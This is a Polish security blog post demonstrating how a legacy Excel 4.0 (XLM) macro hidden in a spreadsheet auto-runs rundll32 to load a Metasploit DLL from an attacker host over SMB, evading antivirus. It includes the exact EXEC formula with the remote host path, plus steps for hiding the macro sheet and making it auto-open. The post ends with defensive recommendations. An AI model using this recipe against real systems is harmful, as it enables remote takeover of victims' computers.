Wydaje się, że w kwestii dokumentów MS Office i wykrywania w nich wirusów producenci antywirów i Next Generation Firewall’i zrobili wszystko co możliwe by przepuszczenie przez skaner wiadomości email ze złośliwym plikiem Excel było natychmiast wykryte. Czy aby na pewno? Okazuje się, że nadal istnieje stara metoda, która zaskoczy prostotą i skutecznością. Omija ona zabezpieczenia jak woda przeciekająca przez dziury w serze Gouda. Postanowiliśmy ją opisać i przetestować. Zalecamy odpowiednie skonfigurowania Waszych systemów bezpieczeństwa, a przede wszystkim poinformowania o tym zagrożeniu użytkowników.
Dlaczego MS Excel?
Nie ma chyba osoby, która wątpiła by w fakt, że pakiet Microsoft Office w tym Excel jest najczęściej używaną i najbardziej popularną aplikacją w wielu firmach. Używają jej wszyscy, nawet specjaliści od bezpieczeństwa.
O tym, że cyberprzestępcy wykorzystują elementy socjotechniki i wysyłają zainfekowane dokumenty MS Office (głównie Excel) lub przeróżne pliki z dziwnymi rozszerzeniami do atakowania swych ofiar pisaliśmy na Kapitanie Hack’u w kampanii phishingowej. Nie tak dawno testowaliśmy ciekawy sposób ukrywania złośliwego kodu w metadanych pliku i uruchamiania go ze specjalnego makra. Wyniki publikowaliśmy na Kapitanie Hacku.
Należy pamiętać, że Excel to taka aplikacja Microsoft, w której można zrobić prawie wszystko, co dla świata cyberprzestępców oznacza doskonałą możliwość wgrywania złośliwego oprogramowanie na komputery użytkowników. Przypomnijmy, że dla cyberprzestępców użycie makr w dokumentach Office jest najczęściej stosowaną techniką wykorzystującą tzw. atak bezplikowy, w którym nie ma żadnego ładunku zapisywanego na dysku i dlatego jest on trudny do wykrycia. Makra najczęściej używają specjalnie przygotowanych poleceń PowerShell do pobrania szkodliwego ładunku do pamięci komputera, a następnie wykonują jego kod.
Zanim przejdziemy do konkretów najpierw musimy cofnąć się w czasie i zagłębić się w makrach z archaicznego MS Excel 4.0 (zwanych również makrami XLM – nie mylić z XML) i ich zastosowaniem do infekowania komputerów.
Powrót do przeszłości
Jeśli Twoja przygoda z komputerami zaczynała się w czasach Windows 95 lub później, zapewne nigdy nie słyszałeś o opisywanej poniżej możliwości, która została wprowadzona już w 1992 roku. Dla przypomnienia jest to rok, w którym grupa Snap podbija listy światowych przebojów muzycznych swoim utworem „Rythm is a dancer”, a firma Microsoft wydaje MS Excel 4.0 przeznaczony dla Windows 3.0 i 3.1. Jednak w 1992 roku Microsoft jeszcze nie wie, że dopiero 27 lat później ich produkt tak naprawdę podbije serca i stanie się hitem – tym razem Darknetu. Wersja 4.0 wprowadziła obsługę makr XLM przeznaczonych do automatyzacji pracy za pośrednictwem tzw. arkuszy makr. Koncepcja XLM bardzo różniła się od współczesnych makr Visual Basic for Applications (VBA), które zostały wprowadzone dopiero rok później (w Excelu 5.0). W obecnych czasach praktycznie wszystkie złośliwe dokumenty MS Office wykorzystują makra napisane w języku Visual Basic for Applications (VBA). Zapewne w tym momencie myślisz, że po co mi wiedza o jakiejś archaicznej wersji Excel 4.0 i makrach z 1992, skoro mamy 2019 rok, a współczesny Excel oraz dokumenty programowane są w zupełnie inny sposób? Pomimo, że technologia ta ma już 27 lat, makra Excel 4.0 są nadal obsługiwane w najnowszych wersjach pakietu Microsoft Office (w tym w najnowszym pakiecie Office 2016)! Oznacza to tyle, że w przeciwieństwie do makr w VBA, makra XLM (z Excel 4.0) są ukrytym klejnotem dla cyberprzestępców i okazują się bardzo dobrą alternatywą dla makr VBA do atakowania użytkowników. Plik XLS/XLM może być trudny do analizy i wydaje się, że większość rozwiązań antywirusowych ma problemy z wykryciem ich makr XLM. Zatem do laba, przekonajmy się, czy tak jest na prawdę 🙂
Scenariusz ataku z wykorzystaniem pliku z makrami Excel 4.0
W celu przekonania się jak groźną i skuteczną bronią dla cyberprzestępców są makra z Excel 4.0 wykonaliśmy dla Was prosty test polegający na stworzeniu przykładowego dokumentu, zamieszczeniu w nim i wykonaniu prostego makra uruchamiającego polecenie systemowe (podobnie jak w artykule tutaj) pozwalającego skomunikować się z drugim komputerem (atakującego) za pomocą specjalnie przygotowanej biblioteki „DLL” po stronie serwera C&C. Dodatkowo postaraliśmy się sprawdzić, jak wykrywa go różne oprogramowanie antywirusowe oraz dwa skanery pozwalające na analizę plików Excel.
W naszym scenariuszu wykorzystaliśmy najnowszą aplikację MS Excel 2016 w wersji angielskiej zainstalowaną na systemie Windows 10 (ostatnie wydanie). Komputer, na którym wykonywaliśmy testy został zaktualizowany o wszystkie nowe poprawki i posiada uruchomioną usługę Windows Defender.
Jeśli posiadacie Excela w wersji polskiej, wówczas musicie użyć polskich poleceń makr. Dokumenty utworzone z makrami w języku angielskim uruchamiają się bez problemów w różnojęzycznych Excelach i na odwrót.
Krok 1 – uruchomienie framework’a metasploit i wygenerowanie linijki kodu
W celu wygenerowania złośliwiej komendy posłużyliśmy się modułem smb_delivery, który wykorzystuje podatność protokołu SMB1 i pozwala wygenerować bibliotekę DLL użytą po stronie komputera ofiary do komunikacji z serwerem C&C – w naszym przypadku Kali Linux.
W wyniku wykonania powyższych poleceń otrzymaliśmy komendę „rundll32.exe \\172.16.215.130\BxAJwt\kapitanhack.dll,0”, którą użyjemy w kolejnym kroku – utworzenia makra w dokumencie Excel.
Krok 2 – utworzenie dokumentu ze złośliwym makrem
Odpalamy naszą aplikację MS Excel 2016, tworzymy nowy plik i w nim nową zakładkę klikając prawym przyciskiem myszy na domyślnej aktualnej, wybierając opcję „Insert”.
W nowym oknie należy wybrać „MS Excel 4.0 Macro”.
Po otwarciu nowej zakładki wpisujemy w pierwszym wierszu pierwszej kolumny funkcję EXEC() pozwalającą uruchomić w tle polecenie „Rundll32.exe”, które w swoich parametrach automatycznie pobierze z sieci bibliotekę „kapitanhack.dll” wygenerowaną wcześniej w Metasploit (inny przykład znajdziesz tutaj). Wartość pierwszej komórki (1-szy wiersz, 1-sza kolumna) Excel posiada następująca składnię:
=EXEC(“rundll32.exe \\172.16.215.131\BxAJwt\kapitanhack.dll,0”)
W drugim wierszu i w tej samej kolumnie dodajemy jeszcze funkcje ALERT() pozwalająca na uruchomienie na ekranie okna z treścią: „Welcome to www.kapitanhack.pl”:
=ALERT(“Welcome to www.KapitanHack.pl”)
W trzecim, ostatnim wierszu dodamy funkcję HALT() zatrzymującą przetwarzania makra.
Całość kodu makro napisanego w wersji Excel 4.0 przedstawia się następująco:
Krok 3 – przetestowanie makra
W celu przetestowania makra możemy kliknąć prawym przyciskiem myszy na pierwszej komórce i wybrać opcję „Run”. W najnowszych wersjach Windows 10 obsługa SMB w wersji pierwszej nie jest domyślnie włączona, dlatego przed wykonaniem testu na naszym komputerze musieliśmy ją włączyć, ponieważ Metasploit wykorzystuje w niej podatność.
Krok 4 – ustawienie auto uruchamiania makr i ukrycie ich kodu przed użytkownikiem
W celu ukrycia makr przed użytkownikiem możemy jeszcze ukryć arkusz zawierający kod oraz spowodować, że będzie się automatycznie uruchamiało po otworzeniu dokumentu. W tym celu należy: a) Zmienić nazwę pierwszej komórki na Auto_Open (pełni podobną funkcję jak Sub AutoOpen() dla makr w VBA )
b) Ukryć pierwszy arkusz w Excelu
Krok 5 – test otwarcia pliku i uruchomienia makra
Zapisaliśmy utworzony powyżej plik na pulpicie jako „text.xls”.
Po pierwszym uruchomieniu dokumentu w programie Excel 2016 pokazał nam się słynny żółty komunikat bezpieczeństwa sugerujący, że dokument używa makr i należy nacisnąć „magiczny przycisk”, aby były obsługiwane. Jeśli go wciśniemy, to w przyszłości Excel nie będzie już nas nim zanudzał, a skrypty będą uruchamiać się automatycznie.
Oczywiście po kliknięciu na „Enable Content” na naszym ekranie pojawił się oczekiwany przez nas ulubiony komunikat oraz niezauważalnie w tle uruchomiła się komenda rundll32.exe, która skomunikowała nasz komputer z drugim komputerem atakującego (serwer C&C) w sieci pozwalając jednocześnie na przejęcie sesji i zdalną kontrolę.
W celu potwierdzenie, że w tle uruchomiła się także proces „RunDll32.exe” uruchomiliśmy narzędzie ProcessHacker.
Na koniec wynik z połączenia się komputera ofiary z serwerem C&C (odpalony metasploit na drugim komputerze):
Od tej chwili cyberprzestępca ma zdalną kontrolę nad komputerem ofiary i może wykonywać polecenia.
Analiza od strony bezpieczeństwa
W celu zbadania jak niebezpieczny jest powyższy scenariusz z plikiem z makrem Excel 4.0 przeskanowaliśmy nasz dokument „test.xls” w portalu VirusTotal sprawdzając jednocześnie, czy któreś z oprogramowania antywirusowego rozpozna zawarty w nim złośliwy kod (przypominamy, że Windows Defender, którego dostajemy z całym inwentarzem Windows, nie wykrył złośliwego pliku i pozwalał nam na uruchamianie jego do woli).
Ku naszemu zdziwieniu po skanowaniu żadne oprogramowanie, nawet te profesjonalne, nie wskazało w dokumencie złośliwego makra (wynik skanowania 0/59). Zatem istnieje wysokie prawdopodobieństwo, że taki dokument może z łatwością trafić na skrzynki użytkowników, bądź być niezauważalnie przekopiowany na komputer ofiary.
Wniosek: Oprogramowanie antywirusowe ma problemy z rozpoznawaniem makr XLM!
Dzieję się tak dlatego, ponieważ makro z wersji Excel 4.0 jest przechowywane w dokumencie w zupełnie inny sposób niż jego następca VBA. W nowszych wersjach Excel’a formatem pliku przechowującego makra jest „.xlsm”, który bazuje na strukturze XML’a umieszczanym w kontenerze ZIP, a jego arkusz z makrem XLM przechowywany jest w pliku XML pod specjalną sekcją “microsheets”.
Przeskanowanie struktury pliku w programie ViperMonkey oraz OfficeMalScanner
Oprócz skuteczności w wykrywaniu pliku przez skanery antywirusowe chcieliśmy dodatkowo zgłębić się w kod pliku i sprawdzić jego charakter. Postanowiliśmy przeskanować go za pomocą popularnego zestawu darmowych narzędzi ViperMonkey oraz OfficeMalScanner. Test pozwolił nam dokładnie zobrazować z jakim problemem mamy do czynienia i pomógł wyjaśnić, dlaczego oprogramowanie antywirusowe pozostaje ślepe.
Najpierw do analizy pliku użyliśmy narzędzia ViperMonkey – emulatora VBA napisanego w języku Python bazującym na otwartym kodzie źródłowym.
Skanowanie w tym programie nie wyryło żadnego z makr VBA. Natomiast wykryło w dokumencie makro ze strumieniem COM.
Wykonujemy kolejne skanowanie. Tym razem użyliśmy narzędzia OfficeMalScanner, które także jest darmowe i służy do skanowania dokumentów biurowych pod kątem osadzonych w nich obiektów OLE i osadzonego w nich złośliwego kodu.
Również tym razem znowu nie znaleźliśmy żadnych złośliwych śladów.
Czyżby żadne specjalistyczne oprogramowanie do bezpieczeństwa nie było świadome makr XLM?
Sprawdziliśmy, że dopiero format pliku Excel 97 – 2003 (.xls, Compound File Binary Format) przechowuje dane w strumieniach OLE w specjalnych kontenerach skoroszytu (Workbook), zaś makra VBA są przechowywane w oddzielnym kontenerze – to jest duża różnica!
Z powodu tej różnicy w strukturze plików makra XLM są prawdopodobnie trudniejsze do analizy w przypadku specjalistycznego oprogramowania do bezpieczeństwa. Na podstawie naszych powyższych testów stwierdziliśmy, że makra XLM są ślepym punktem dla branży antywirusowej. Jako dowód, przedstawiliśmy także zrzut ekranu, który pokazuje, że nasze makro XLM uruchamiające złośliwego powershella nie jest wykrywane przez żaden silnik AV w VirusTotal w momencie pisania tego artykułu (podobny kod napisany w makrach VBA zazwyczaj osiąga bardzo wysokie współczynniki wykrywania).
Podsumowanie
Interesujące jest to, że technologia z 1992 roku może wciąż być wykorzystana do obejścia najnowszych funkcji zabezpieczeń pakietu Office. Nasz artykuł obrazuje jedynie skrawek tego co jest możliwe dzięki makrom z Excel 4.0 XLM.
Jako ciekawostkę dodamy, że firma Microsoft niedawno ogłosiła, że ich nowy silnik Antimalware Scanning Interface (AMSI) jest teraz zintegrowany z Office 365 do skanowania makr VBA. Ponieważ makra XLM nie mają nic wspólnego z silnikiem VBA, podejrzewamy, że można użyć XLM do obejścia AMSI. AMSI łapie wywołania VBA do COM i Win32 API, ale nie ma pojęcia o makrach XLM.
Jak radzić sobie z problemem?
Dla firm, które swoje bezpieczeństwo opierą jedynie na rozwiązaniu antywirusowym oraz Next Generation Firewall może okazać się, że ta forma ataku będzie niezauważalna i udowodniliśmy to w powyższym teście.
Pamiętajmy, że do infekcji komputera najczęściej dochodzi wtedy, kiedy nieświadomy użytkownik otworzy taki dokument (np. przesłany w poczcie email). Tak więc budowanie świadomości bezpieczeństwa w firmie wśród pracowników jest najskuteczniejszą formą obrony. Oczywiście poczta to nie jedyny środek komunikacji, bo dokumenty Excel znajdują się także na dyskach i serwerach wewnątrz organizacji oraz ktoś może je dostarczyć na zewnętrznym nośniku danych. Co wtedy? Jak podejść zatem do takiego problemu? Odpowiedź jest prosta: implementując systemy, które pozwolą nam wykryć podejrzane zachowanie aplikacji, czyli uruchomienia przez proces aplikacji MS Office (podczas otwierania dokumentu) innego procesu systemowego (np. powershell.exe, rundll32.exe i innych). Następnie powinniśmy sprawdzać, czy taki proces próbuje skomunikować się z innym komputerem po sieci. Inne techniki przedstawiliśmy tutaj. Implementacja takiego systemu w dużych organizacja może być bardzo kosztowna i trudna, ale czasem nie mamy wyjścia. W Internecie możemy znaleźć darmowe platformy/systemy, które możemy do tego wykorzystać. Pisaliśmy o nich tutaj.
Dobrze też jest wyłączyć obsługę makr w dokumentach Office na stacjach roboczych (dla wielu firm może być to niemożliwe) oraz obsługę SMBv1.
Polecamy kontakt z firmą Appeal w celu dowiedzenia się na temat szczegółów zabezpieczenia środowiska przed tego typu atakami.
Poniżej zamieszczamy film prezentujący przygotowanie i przeprowadzenie ataku.
Intencją tego testu jest pokazanie, że powinniśmy nadal uważać na dokumenty Excel nie tylko te przesyłane pocztą, ale również na te, które mamy przechowywane na zasobach sieciowych lub komputerze. Dzielimy się z Wami ta wiedzą, ponieważ wierzymy, że będziecie bardziej świadomi oraz będziecie mogli odpowiednio dostroić własne systemy bezpieczeństwa, jeśli oczywiście nie wykrywają tego typu dokumentów. Zaprezentowana wiedza nie powinna być używana w złym celu, a wykonywanie testów robisz na własną odpowiedzialność.